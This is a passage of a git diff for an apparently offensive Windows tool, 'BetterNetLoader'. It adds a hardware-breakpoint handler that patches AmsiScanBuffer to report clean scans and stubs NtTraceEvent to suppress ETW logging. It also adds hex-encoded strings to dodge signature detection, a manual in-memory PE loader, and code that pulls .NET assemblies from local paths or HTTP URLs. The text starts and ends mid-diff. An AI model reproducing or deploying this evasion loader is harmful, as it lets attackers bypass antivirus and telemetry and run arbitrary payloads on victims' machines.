NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif - Context.ContextFlags = CONTEXT_DEBUG_REGISTERS; - if (!GetThreadContext(GetCurrentThread(), &Context)) { - printf("[-] GetThreadContext Failed with Error: %lx\n", GetLastError()); - return FALSE; - } - if (Function) { - (&Context.Dr0)[Position] = (UINT_PTR)Function; +// --- Static Strings (as before) --- - Context.Dr7 &= ~(3ull << (16 + 4 * Position)); - Context.Dr7 &= ~(3ull << (18 + 4 * Position)); - Context.Dr7 |= 1ull << (2 * Position); - } - else { - (&Context.Dr0)[Position] = 0; - Context.Dr7 &= ~(1ull << (2 * Position)); - } +static const char s_err_get_thread_context[] = { + 0x5B,0x2D,0x5D,0x20,0x47,0x65,0x74,0x54,0x68,0x72,0x65,0x61,0x64,0x43,0x6F,0x6E, + 0x74,0x65,0x78,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68, + 0x20,0x65,0x72,0x72,0x6F,0x72,0x3A,0x20,0x25,0x6C,0x75,0x0A,0x00 +}; // "[-] GetThreadContext failed with error: %lu\n" - if (!SetThreadContext(GetCurrentThread(), &Context)) { - printf("[-] SetThreadContext Failed with Error: %lx\n", GetLastError()); - return FALSE; - } +static const char s_err_invalid_slot[] = { + 0x5B,0x2D,0x5D,0x20,0x49,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x62,0x72,0x65,0x61, + 0x6B,0x70,0x6F,0x69,0x6E,0x74,0x20,0x73,0x6C,0x6F,0x74,0x3A,0x20,0x25,0x75,0x0A, + 0x00 +}; // "[-] Invalid breakpoint slot: %u\n" - return TRUE; +static const char s_err_ntcontinue_not_found[] = { + 0x5B,0x2D,0x5D,0x20,0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x20,0x6E, + 0x6F,0x74,0x20,0x66,0x6F,0x75,0x6E,0x64,0x2E,0x0A,0x00 +}; // "[-] NtContinue not found.\n" + +static const char s_err_ntcontinue_failed[] = { + 0x5B,0x2D,0x5D,0x20,0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x20,0x66, + 0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x73,0x74,0x61,0x74,0x75, + 0x73,0x3A,0x20,0x30,0x78,0x25,0x6C,0x78,0x0A,0x00 +}; // "[-] NtContinue failed with status: 0x%lx\n" + +static const char s_amsi_scan_buffer[] = { + 0x41,0x6D,0x73,0x69,0x53,0x63,0x61,0x6E,0x42,0x75,0x66,0x66,0x65,0x72,0x00 +}; // "AmsiScanBuffer" + +static const char s_nt_trace_event[] = { + 0x4E,0x74,0x54,0x72,0x61,0x63,0x65,0x45,0x76,0x65,0x6E,0x74,0x00 +}; // "NtTraceEvent" + +static const char s_nt_continue[] = { + 0x4E,0x74,0x43,0x6F,0x6E,0x74,0x69,0x6E,0x75,0x65,0x00 +}; // "NtContinue" + +// Narrow string for ntdll.dll is not used now; we use the wide version. +static const WCHAR s_ntdll_dll_w[] = { + 0x006E,0x0074,0x0064,0x006C,0x006C,0x002E,0x0064,0x006C,0x006C,0x0000 +}; // L"ntdll.dll" + +// Wide string for amsi.dll. +static const WCHAR s_amsi_dll_w[] = { + 0x0061,0x006D,0x0073,0x0069,0x002E,0x0064,0x006C,0x006C,0x0000 +}; // L"amsi.dll" + +// --- Modified Functions Using Replacement APIs --- + +// Reimplementation of setting a hardware breakpoint on the current thread. +// "slot" should be 0, 1, 2, or 3. "targetAddr" is the address to break on. +bool SetUniqueHardwareBreakpoint(unsigned int slot, void* targetAddr) { + CONTEXT ctx = {}; + ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; + + if (!GetThreadContext(GetCurrentThread(), &ctx)) { + std::printf(s_err_get_thread_context, GetLastError()); + return false; + } + + // Choose the correct debug register. + switch (slot) { + case 0: ctx.Dr0 = reinterpret_cast(targetAddr); break; + case 1: ctx.Dr1 = reinterpret_cast(targetAddr); break; + case 2: ctx.Dr2 = reinterpret_cast(targetAddr); break; + case 3: ctx.Dr3 = reinterpret_cast(targetAddr); break; + default: + std::printf(s_err_invalid_slot, slot); + return false; + } + + // Clear any existing configuration for this slot. + ctx.Dr7 &= ~(0xFULL << (16 + slot * 4)); + + // Enable the breakpoint in this slot. + ctx.Dr7 |= (1ULL << (slot * 2)); + + // Use NtContinue to resume execution with our modified context. + typedef NTSTATUS(NTAPI* NtContinue_t)(PCONTEXT, BOOLEAN); + NtContinue_t NtContinueFunc = reinterpret_cast( + GetProcAddressReplacement(GetModuleHandleReplacement(s_ntdll_dll_w), s_nt_continue) + ); + if (!NtContinueFunc) { + std::printf(s_err_ntcontinue_not_found); + return false; + } + NTSTATUS status = NtContinueFunc(&ctx, FALSE); + if (!NT_SUCCESS(status)) { + std::printf(s_err_ntcontinue_failed, status); + return false; + } + // (If NtContinue succeeds, this function will not return.) + return true; } -BOOL HwbpEngineHandler( - _Inout_ PEXCEPTION_POINTERS Exceptions -) { - LONG Result = {}; - PVOID AmsiAddress = {}; - PVOID EtwAddress = {}; - PEXCEPTION_RECORD Exception = {}; - PCONTEXT Context = {}; - UINT_PTR Return = {}; - PULONG ScanResult = {}; +// Exception handler for unique hardware breakpoints. +// This function checks if the single-step exception occurred at one of our known addresses +// and, if so, patches the context to simulate a successful function return. +LONG HandleUniqueHwbpException(PEXCEPTION_POINTERS exPtrs) { + HMODULE hAmsi = GetModuleHandleReplacement(s_amsi_dll_w); + void* addrAmsi = hAmsi ? GetProcAddressReplacement(hAmsi, s_amsi_scan_buffer) : nullptr; + HMODULE hNtdll = GetModuleHandleReplacement(s_ntdll_dll_w); + void* addrNtTrace = hNtdll ? GetProcAddressReplacement(hNtdll, s_nt_trace_event) : nullptr; - AmsiAddress = GetProcAddress(GetModuleHandleA("amsi.dll"), "AmsiScanBuffer"); - EtwAddress = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtTraceEvent"); - Exception = Exceptions->ExceptionRecord; - Context = Exceptions->ContextRecord; + EXCEPTION_RECORD* exRec = exPtrs->ExceptionRecord; + CONTEXT* ctx = exPtrs->ContextRecord; - if (Exception->ExceptionCode == EXCEPTION_SINGLE_STEP) - { - if (Exception->ExceptionAddress == AmsiAddress) - { - Return = *(PULONG_PTR)Context->Rsp; - ScanResult = (PULONG)(*(PULONG_PTR)(Context->Rsp + (6 * sizeof(PVOID)))); - *ScanResult = 0; - Context->Rip = Return; - Context->Rsp += sizeof(PVOID); - Context->Rax = S_OK; + if (exRec->ExceptionCode != EXCEPTION_SINGLE_STEP) + return EXCEPTION_CONTINUE_SEARCH; - return EXCEPTION_CONTINUE_EXECUTION; - } + uintptr_t exAddr = reinterpret_cast(exRec->ExceptionAddress); + if (addrAmsi && exAddr == reinterpret_cast(addrAmsi)) { + // For the AmsiScanBuffer breakpoint: + DWORD64 retAddr = *reinterpret_cast(ctx->Rsp); + DWORD64* pScanResult = reinterpret_cast( + *reinterpret_cast(ctx->Rsp + 6 * sizeof(PVOID)) + ); + if (pScanResult) { + *pScanResult = 0; + } + ctx->Rip = retAddr; + ctx->Rsp += sizeof(PVOID); + ctx->Rax = S_OK; + return EXCEPTION_CONTINUE_EXECUTION; + } + else if (addrNtTrace && exAddr == reinterpret_cast(addrNtTrace)) { + // For the NtTraceEvent breakpoint: + ctx->Rip = *reinterpret_cast(ctx->Rsp); + ctx->Rsp += sizeof(PVOID); + ctx->Rax = STATUS_SUCCESS; + return EXCEPTION_CONTINUE_EXECUTION; + } - if (Exception->ExceptionAddress == EtwAddress) - { - Context->Rip = *(PULONG_PTR)Context->Rsp; - Context->Rsp += sizeof(PVOID); - Context->Rax = STATUS_SUCCESS; - return EXCEPTION_CONTINUE_EXECUTION; - } - } - - return EXCEPTION_CONTINUE_SEARCH; -} \ No newline at end of file + return EXCEPTION_CONTINUE_SEARCH; +} diff --git a/BetterNetLoader/HwBpEngine.h b/BetterNetLoader/HwBpEngine.h index 5e0d029..b8dd22d 100644 --- a/BetterNetLoader/HwBpEngine.h +++ b/BetterNetLoader/HwBpEngine.h @@ -1,10 +1,5 @@ #include -BOOL HwbpEngineBreakpoint( - _In_ ULONG Position, - _In_ PVOID Function -); +bool SetUniqueHardwareBreakpoint(unsigned int slot, void* targetAddr); -BOOL HwbpEngineHandler( - _Inout_ PEXCEPTION_POINTERS Exceptions -); \ No newline at end of file +LONG HandleUniqueHwbpException(PEXCEPTION_POINTERS exPtrs); \ No newline at end of file diff --git a/BetterNetLoader/LoadLibrary.cpp b/BetterNetLoader/LoadLibrary.cpp new file mode 100644 index 0000000..f08f0ef --- /dev/null +++ b/BetterNetLoader/LoadLibrary.cpp @@ -0,0 +1,217 @@ +#include +#include +#include + +// Helper: Constructs an absolute path if lpFileName does not contain any path separator. +static void BuildFullPath(LPCTSTR lpFileName, LPTSTR fullPath, size_t fullPathSize) +{ + // Check if lpFileName contains '\' or '/' or ':' to determine if it is a full path. + if (_tcschr(lpFileName, _T('\\')) || _tcschr(lpFileName, _T('/')) || _tcschr(lpFileName, _T(':'))) + { + _tcsncpy_s(fullPath, fullPathSize, lpFileName, _TRUNCATE); + } + else + { + // If a singular name, use the system directory. + TCHAR sysDir[MAX_PATH] = { 0 }; + if (GetSystemDirectory(sysDir, MAX_PATH)) + _stprintf_s(fullPath, fullPathSize, _T("%s\\%s"), sysDir, lpFileName); + else + _tcsncpy_s(fullPath, fullPathSize, lpFileName, _TRUNCATE); + } + // Debug print to verify the full path. + _tprintf(_T("BuildFullPath: %s\n"), fullPath); +} + +// A simple manual PE loader that mimics LoadLibraryEx. +// It reads the DLL file from disk, maps it into memory, +// copies headers and sections, applies base relocations, resolves imports, +// and finally calls DllMain with DLL_PROCESS_ATTACH. +// dwFlags may include LOAD_LIBRARY_AS_DATAFILE or DONT_RESOLVE_DLL_REFERENCES. +HMODULE MyLoadLibraryExWrapped(LPCTSTR lpFileName, HANDLE hFileIgnored, DWORD dwFlags) +{ + TCHAR fullPath[MAX_PATH] = { 0 }; + BuildFullPath(lpFileName, fullPath, MAX_PATH); + + // Open the file. + HANDLE hFile = CreateFile(fullPath, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) + { + _tprintf(_T("MyLoadLibraryExWrapped: CreateFile failed for %s\n"), fullPath); + return NULL; + } + + // Create a file mapping for reading. + HANDLE hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL); + if (!hFileMapping) + { + CloseHandle(hFile); + _tprintf(_T("MyLoadLibraryExWrapped: CreateFileMapping failed for %s\n"), fullPath); + return NULL; + } + + LPVOID pFileBase = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0); + if (!pFileBase) + { + CloseHandle(hFileMapping); + CloseHandle(hFile); + _tprintf(_T("MyLoadLibraryExWrapped: MapViewOfFile failed for %s\n"), fullPath); + return NULL; + } + + // Validate DOS header. + PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)pFileBase; + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + UnmapViewOfFile(pFileBase); + CloseHandle(hFileMapping); + CloseHandle(hFile); + _tprintf(_T("MyLoadLibraryExWrapped: Invalid DOS signature in %s\n"), fullPath); + return NULL; + } + + // Get NT headers. + PIMAGE_NT_HEADERS pNTHeader = (PIMAGE_NT_HEADERS)((LPBYTE)pFileBase + dosHeader->e_lfanew); + if (pNTHeader->Signature != IMAGE_NT_SIGNATURE) + { + UnmapViewOfFile(pFileBase); + CloseHandle(hFileMapping); + CloseHandle(hFile); + _tprintf(_T("MyLoadLibraryExWrapped: Invalid NT signature in %s\n"), fullPath); + return NULL; + } + + // Reserve memory for the image. + SIZE_T imageSize = pNTHeader->OptionalHeader.SizeOfImage; + LPVOID baseDll = VirtualAlloc((LPVOID)pNTHeader->OptionalHeader.ImageBase, imageSize, + MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!baseDll) + baseDll = VirtualAlloc(NULL, imageSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + if (!baseDll) + { + UnmapViewOfFile(pFileBase); + CloseHandle(hFileMapping); + CloseHandle(hFile); + _tprintf(_T("MyLoadLibraryExWrapped: VirtualAlloc failed for %s\n"), fullPath); + return NULL; + } + + // Copy headers. + memcpy(baseDll, pFileBase, pNTHeader->OptionalHeader.SizeOfHeaders); + + // Copy each section. + PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNTHeader); + for (UINT i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++) + { + LPVOID dest = (LPBYTE)baseDll + pSection[i].VirtualAddress; + LPVOID src = (LPBYTE)pFileBase + pSection[i].PointerToRawData; + memcpy(dest, src, pSection[i].SizeOfRawData); + } + + // Clean up file mapping. + UnmapViewOfFile(pFileBase); + CloseHandle(hFileMapping); + CloseHandle(hFile); + + // If not loaded as data file, perform base relocations. + if (!(dwFlags & LOAD_LIBRARY_AS_DATAFILE) && + (DWORD_PTR)baseDll != pNTHeader->OptionalHeader.ImageBase) + { + PIMAGE_DATA_DIRECTORY relocDir = &pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + if (relocDir->Size) + { + PIMAGE_BASE_RELOCATION pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)baseDll + relocDir->VirtualAddress); + DWORD_PTR delta = (DWORD_PTR)baseDll - pNTHeader->OptionalHeader.ImageBase; + while (pReloc->VirtualAddress) + { + DWORD count = (pReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD); + PWORD pRelocData = (PWORD)((LPBYTE)pReloc + sizeof(IMAGE_BASE_RELOCATION)); + for (DWORD i = 0; i < count; i++) + { + WORD typeOffset = pRelocData[i]; + WORD type = typeOffset >> 12; + WORD offset = typeOffset & 0x0FFF; + if (type == IMAGE_REL_BASED_HIGHLOW) + { + PDWORD pPatch = (PDWORD)((LPBYTE)baseDll + pReloc->VirtualAddress + offset); + *pPatch += (DWORD)delta; + } +#ifdef _WIN64 + else if (type == IMAGE_REL_BASED_DIR64) + { + PULONGLONG pPatch = (PULONGLONG)((LPBYTE)baseDll + pReloc->VirtualAddress + offset); + *pPatch += delta; + } +#endif + } + pReloc = (PIMAGE_BASE_RELOCATION)((LPBYTE)pReloc + pReloc->SizeOfBlock); + } + } + } + + // Process imports (unless loading as data file or if flag to not resolve imports is set). + if (!(dwFlags & (LOAD_LIBRARY_AS_DATAFILE | DONT_RESOLVE_DLL_REFERENCES))) + { + PIMAGE_DATA_DIRECTORY importDir = &pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + if (importDir->Size) + { + PIMAGE_IMPORT_DESCRIPTOR pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)((LPBYTE)baseDll + importDir->VirtualAddress); + while (pImportDesc->Name) + { + LPCTSTR importName = (LPCTSTR)((LPBYTE)baseDll + pImportDesc->Name); + // Load dependency using standard LoadLibrary (or recursively call MyLoadLibraryExWrapped if desired). + HMODULE hImport = LoadLibrary(importName); + if (!hImport) + { + VirtualFree(baseDll, 0, MEM_RELEASE); + _tprintf(_T("MyLoadLibraryExWrapped: Failed to load dependency %s\n"), importName); + return NULL; + } + + PIMAGE_THUNK_DATA pOrigThunk = (PIMAGE_THUNK_DATA)((LPBYTE)baseDll + pImportDesc->OriginalFirstThunk); + PIMAGE_THUNK_DATA pThunk = (PIMAGE_THUNK_DATA)((LPBYTE)baseDll + pImportDesc->FirstThunk); + while (pOrigThunk->u1.AddressOfData) + { + FARPROC proc = NULL; + if (pOrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) + { + WORD ordinal = IMAGE_ORDINAL(pOrigThunk->u1.Ordinal); + proc = GetProcAddress(hImport, (LPCSTR)ordinal); + } + else + { + PIMAGE_IMPORT_BY_NAME pImport = (PIMAGE_IMPORT_BY_NAME)((LPBYTE)baseDll + pOrigThunk->u1.AddressOfData); + proc = GetProcAddress(hImport, (LPCSTR)pImport->Name); + } + if (!proc) + { + VirtualFree(baseDll, 0, MEM_RELEASE); + _tprintf(_T("MyLoadLibraryExWrapped: Failed to resolve import in %s\n"), importName); + return NULL; + } + pThunk->u1.Function = (ULONG_PTR)proc; + pOrigThunk++; + pThunk++; + } + pImportDesc++; + } + } + } + + // Call the DLL's entry point (DllMain) for DLL_PROCESS_ATTACH. + if (!(dwFlags & LOAD_LIBRARY_AS_DATAFILE)) + { + if (pNTHeader->FileHeader.Characteristics & IMAGE_FILE_DLL) + { + typedef BOOL(WINAPI* DllMainProc)(HINSTANCE, DWORD, LPVOID); + DllMainProc pDllMain = (DllMainProc)((LPBYTE)baseDll + pNTHeader->OptionalHeader.AddressOfEntryPoint); + if (pDllMain) + pDllMain((HINSTANCE)baseDll, DLL_PROCESS_ATTACH, NULL); + } + } + + // Return the base address as the module handle. + _tprintf(_T("MyLoadLibraryExWrapped: Successfully loaded %s at 0x%p\n"), fullPath, baseDll); + return (HMODULE)baseDll; +} diff --git a/BetterNetLoader/LoadLibrary.h b/BetterNetLoader/LoadLibrary.h new file mode 100644 index 0000000..d32b75f --- /dev/null +++ b/BetterNetLoader/LoadLibrary.h @@ -0,0 +1,7 @@ +#pragma once +#include +#include +#include + +static void BuildFullPath(LPCTSTR lpFileName, LPTSTR fullPath, size_t fullPathSize); +HMODULE MyLoadLibraryExWrapped(LPCTSTR lpFileName, HANDLE hFileIgnored, DWORD dwFlags); diff --git a/BetterNetLoader/LocalFileReaderA.cpp b/BetterNetLoader/LocalFileReaderA.cpp new file mode 100644 index 0000000..1d95615 --- /dev/null +++ b/BetterNetLoader/LocalFileReaderA.cpp @@ -0,0 +1,34 @@ +#include "LocalFileReaderA.h" +#include + +BOOL ReadLocalFileA(LPCSTR filePath, PBYTE* pBuffer, PDWORD pSize) { + HANDLE hFile = CreateFileA(filePath, GENERIC_READ, FILE_SHARE_READ, NULL, + OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hFile == INVALID_HANDLE_VALUE) { + printf("[-] Unable to open local file: %s\n", filePath); + return FALSE; + } + DWORD fileSize = GetFileSize(hFile, NULL); + if (fileSize == INVALID_FILE_SIZE) { + printf("[-] GetFileSize failed for: %s\n", filePath); + CloseHandle(hFile); + return FALSE; + } + PBYTE buffer = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, fileSize); + if (!buffer) { + printf("[-] HeapAlloc failed for local file buffer.\n"); + CloseHandle(hFile); + return FALSE; + } + DWORD bytesRead = 0; + BOOL readResult = ReadFile(hFile, buffer, fileSize, &bytesRead, NULL); + CloseHandle(hFile); + if (!readResult || bytesRead != fileSize) { + printf("[-] ReadFile failed for: %s\n", filePath); + HeapFree(GetProcessHeap(), 0, buffer); + return FALSE; + } + *pBuffer = buffer; + *pSize = fileSize; + return TRUE; +} diff --git a/BetterNetLoader/LocalFileReaderA.h b/BetterNetLoader/LocalFileReaderA.h new file mode 100644 index 0000000..8a872ea --- /dev/null +++ b/BetterNetLoader/LocalFileReaderA.h @@ -0,0 +1,20 @@ +#ifndef LOCALFILEREADER_H +#define LOCALFILEREADER_H + +#include + +#ifdef __cplusplus +extern "C" { +#endif + + // Reads a local file specified by filePath into memory. + // On success, *pBuffer receives the allocated buffer containing the file data, + // and *pSize receives the size of the file in bytes. + // Returns TRUE on success, or FALSE on error. + BOOL ReadLocalFileA(LPCSTR filePath, PBYTE* pBuffer, PDWORD pSize); + +#ifdef __cplusplus +} +#endif + +#endif // LOCALFILEREADER_H diff --git a/BetterNetLoader/main.cpp b/BetterNetLoader/main.cpp index 7e83190..c322774 100644 --- a/BetterNetLoader/main.cpp +++ b/BetterNetLoader/main.cpp @@ -2,73 +2,279 @@ #include #include #include -#include "DotnetExecute.h" +#include -BOOL ReadFileFromURLA( - IN LPCSTR url, - OUT PBYTE* ppFileBuffer, - OUT PDWORD pdwFileSize -); +#include "Base64.h" +#include "DotnetExecute.h" +#include "Http.h" +#include "LocalFileReaderA.h" + +// All runtime strings are now stored as arrays of character codes. + +// print_usage strings +static const char s_usage1[] = { 0x55,0x73,0x61,0x67,0x65,0x3A,0x0A,0x00 }; // "Usage:\n" + +static const char s_usage2[] = { + 0x20,0x20,0x25,0x73,0x20,0x2D,0x70,0x61,0x74,0x68,0x20, + 0x3C,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x3E,0x20, + 0x2D,0x61,0x20, + 0x3C,0x63,0x6C,0x65,0x61,0x72,0x74,0x65,0x78,0x74,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x3E,0x0A,0x00 +}; + +static const char s_usage3[] = { + 0x20,0x20,0x25,0x73,0x20,0x2D,0x70,0x61,0x74,0x68,0x20, + 0x3C,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x3E,0x20, + 0x2D,0x62,0x36,0x34,0x20, + 0x3C,0x62,0x61,0x73,0x65,0x36,0x34,0x20,0x65,0x6E,0x63,0x6F,0x64,0x65,0x64,0x20, + 0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x3E,0x0A,0x00 +}; + +static const char s_usage4[] = { 0x0A,0x4F,0x70,0x74,0x69,0x6F,0x6E,0x73,0x3A,0x0A,0x00 }; // "\nOptions:\n" + +static const char s_usage5[] = { + 0x20,0x20,0x2D,0x70,0x61,0x74,0x68,0x20,0x20,0x20,0x20, + 0x53,0x70,0x65,0x63,0x69,0x66,0x79,0x20,0x74,0x68,0x65,0x20,0x6C,0x6F,0x63,0x61, + 0x74,0x69,0x6F,0x6E,0x20,0x6F,0x66,0x20,0x74,0x68,0x65,0x20,0x61,0x73,0x73,0x65, + 0x6D,0x62,0x6C,0x79,0x2E,0x20,0x49,0x66,0x20,0x74,0x68,0x65,0x20,0x70,0x61,0x74, + 0x68,0x20,0x62,0x65,0x67,0x69,0x6E,0x73,0x20,0x77,0x69,0x74,0x68,0x20, + 0x22, // double quote character (0x22) + 0x68,0x74,0x74,0x70, + 0x22, // double quote character (0x22) + 0x2C,0x0A,0x00 +}; + +static const char s_usage6[] = { + 0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20, // 11 spaces + 0x61,0x6E,0x20, + 0x48,0x54,0x54,0x50,0x20, + 0x72,0x65,0x71,0x75,0x65,0x73,0x74,0x20, + 0x69,0x73,0x20, + 0x6D,0x61,0x64,0x65,0x3B,0x20, + 0x6F,0x74,0x68,0x65,0x72,0x77,0x69,0x73,0x65,0x2C,0x20, + 0x69,0x74,0x20, + 0x69,0x73,0x20, + 0x74,0x72,0x65,0x61,0x74,0x65,0x64,0x20, + 0x61,0x73,0x20, + 0x61,0x20, + 0x6C,0x6F,0x63,0x61,0x6C,0x20, + 0x66,0x69,0x6C,0x65,0x2E,0x0A,0x00 +}; + +static const char s_usage7[] = { + 0x20,0x20,0x2D,0x61,0x20, + 0x20,0x20,0x20,0x20,0x20,0x20, // 7 spaces + 0x50,0x72,0x6F,0x76,0x69,0x64,0x65,0x20, + 0x63,0x6C,0x65,0x61,0x72,0x74,0x65,0x78,0x74,0x20, + 0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x20, + 0x66,0x6F,0x72,0x20, + 0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74,0x65,0x2E,0x0A,0x00 +}; + +static const char s_usage8[] = { + 0x20,0x20,0x2D,0x62,0x36,0x34,0x20, + 0x20,0x20,0x20,0x20, // 5 spaces + 0x50,0x72,0x6F,0x76,0x69,0x64,0x65,0x20, + 0x62,0x61,0x73,0x65,0x36,0x34,0x20, + 0x65,0x6E,0x63,0x6F,0x64,0x65,0x64,0x20, + 0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x20, + 0x66,0x6F,0x72,0x20, + 0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74,0x65,0x2E,0x0A,0x00 +}; + +// Error messages in main. +static const char s_err_read_url[] = { + 0x5B,0x2D,0x5D,0x20,0x52,0x65,0x61,0x64,0x46,0x69,0x6C,0x65,0x46,0x72,0x6F,0x6D, + 0x55,0x52,0x4C,0x41,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20, + 0x55,0x52,0x4C,0x3A,0x20,0x25,0x73,0x0A,0x00 +}; + +static const char s_err_read_local[] = { + 0x5B,0x2D,0x5D,0x20,0x52,0x65,0x61,0x64,0x4C,0x6F,0x63,0x61,0x6C,0x46,0x69,0x6C, + 0x65,0x41,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x66,0x69, + 0x6C,0x65,0x3A,0x20,0x25,0x73,0x0A,0x00 +}; + +static const char s_err_mb_to_wc_len[] = { + 0x5B,0x2D,0x5D,0x20,0x4D,0x75,0x6C,0x74,0x69,0x42,0x79,0x74,0x65,0x54,0x6F,0x57, + 0x69,0x64,0x65,0x43,0x68,0x61,0x72,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x74, + 0x6F,0x20,0x67,0x65,0x74,0x20,0x6C,0x65,0x6E,0x67,0x74,0x68,0x2E,0x0A,0x00 +}; + +static const char s_err_heap_alloc_wc[] = { + 0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61, + 0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x77,0x69,0x64,0x65,0x20,0x63,0x68, + 0x61,0x72,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x2E,0x0A,0x00 +}; + +static const char s_err_mb_to_wc_conv[] = { + 0x5B,0x2D,0x5D,0x20,0x4D,0x75,0x6C,0x74,0x69,0x42,0x79,0x74,0x65,0x54,0x6F,0x57, + 0x69,0x64,0x65,0x43,0x68,0x61,0x72,0x20,0x63,0x6F,0x6E,0x76,0x65,0x72,0x73,0x69, + 0x6F,0x6E,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x2E,0x0A,0x00 +}; + +static const char s_err_heap_alloc_args[] = { + 0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61, + 0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E, + 0x74,0x73,0x2E,0x0A,0x00 +}; + +static const char s_err_mbstowcs[] = { + 0x5B,0x2D,0x5D,0x20,0x6D,0x62,0x73,0x74,0x6F,0x77,0x63,0x73,0x5F,0x73,0x20, + 0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x6F,0x6E,0x20,0x61,0x72,0x67,0x75,0x6D,0x65, + 0x6E,0x74,0x20,0x25,0x64,0x2E,0x0A,0x00 +}; + +static const char s_err_heap_alloc_empty[] = { + 0x5B,0x2D,0x5D,0x20,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x20,0x66,0x61, + 0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x65,0x6D,0x70,0x74,0x79,0x20,0x61, + 0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x73,0x2E,0x0A,0x00 +}; + +static const char s_err_dotnet[] = { + 0x5B,0x2D,0x5D,0x20,0x44,0x6F,0x74,0x6E,0x65,0x74,0x45,0x78,0x65,0x63,0x75,0x74, + 0x65,0x20,0x46,0x61,0x69,0x6C,0x65,0x64,0x00 +}; + +static const char s_output[] = { 0x0A,0x0A,0x25,0x73,0x00 }; // "\n\n%s" + +// Additional flags and text. +static const char s_http[] = { 0x68,0x74,0x74,0x70,0x00 }; // "http" +static const char s_path_flag[] = { 0x2D,0x70,0x61,0x74,0x68,0x00 }; // "-path" +static const char s_b64_flag[] = { 0x2D,0x62,0x36,0x34,0x00 }; // "-b64" +static const char s_a_flag[] = { 0x2D,0x61,0x00 }; // "-a" + +// Wide-character strings. +static const WCHAR s_myappdomain[] = { 0x004D,0x0079,0x0041,0x0070,0x0070,0x0044,0x006F,0x006D,0x0061,0x0069,0x006E,0x0000 }; // "MyAppDomain" +static const WCHAR s_space[] = { 0x0020,0x0000 }; // " " + +void print_usage(const char* progname) { + printf("%s", s_usage1); + printf(s_usage2, progname); + printf(s_usage3, progname); + printf("%s", s_usage4); + printf("%s", s_usage5); + printf("%s", s_usage6); + printf("%s", s_usage7); + printf("%s", s_usage8); +} int main(int argc, char* argv[]) { PBYTE AssemblyBytes = NULL; DWORD AssemblySize = 0; LPSTR OutputBuffer = NULL; ULONG OutputLength = 0; + PWSTR arguments = NULL; - if (argc < 2) { - printf("Usage: %s [arguments...]\n", argv[0]); + // At a minimum, require: -path and an arguments flag. + if (argc < 3) { + print_usage(argv[0]); return 1; } - LPCSTR url = argv[1]; - PWSTR arguments = NULL; + // Process the location flag. + if (strcmp(argv[1], s_path_flag) != 0) { + print_usage(argv[0]); + return 1; + } - if (argc > 2) { - size_t totalLen = 0; - for (int i = 2; i < argc; i++) { - totalLen += strlen(argv[i]) + 1; - } + LPCSTR location = argv[2]; + BOOL isHTTP = (_strnicmp(location, s_http, 4) == 0); - arguments = (PWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, totalLen * sizeof(WCHAR)); - if (!arguments) { - printf("[-] HeapAlloc failed for arguments\n"); + if (isHTTP) { + if 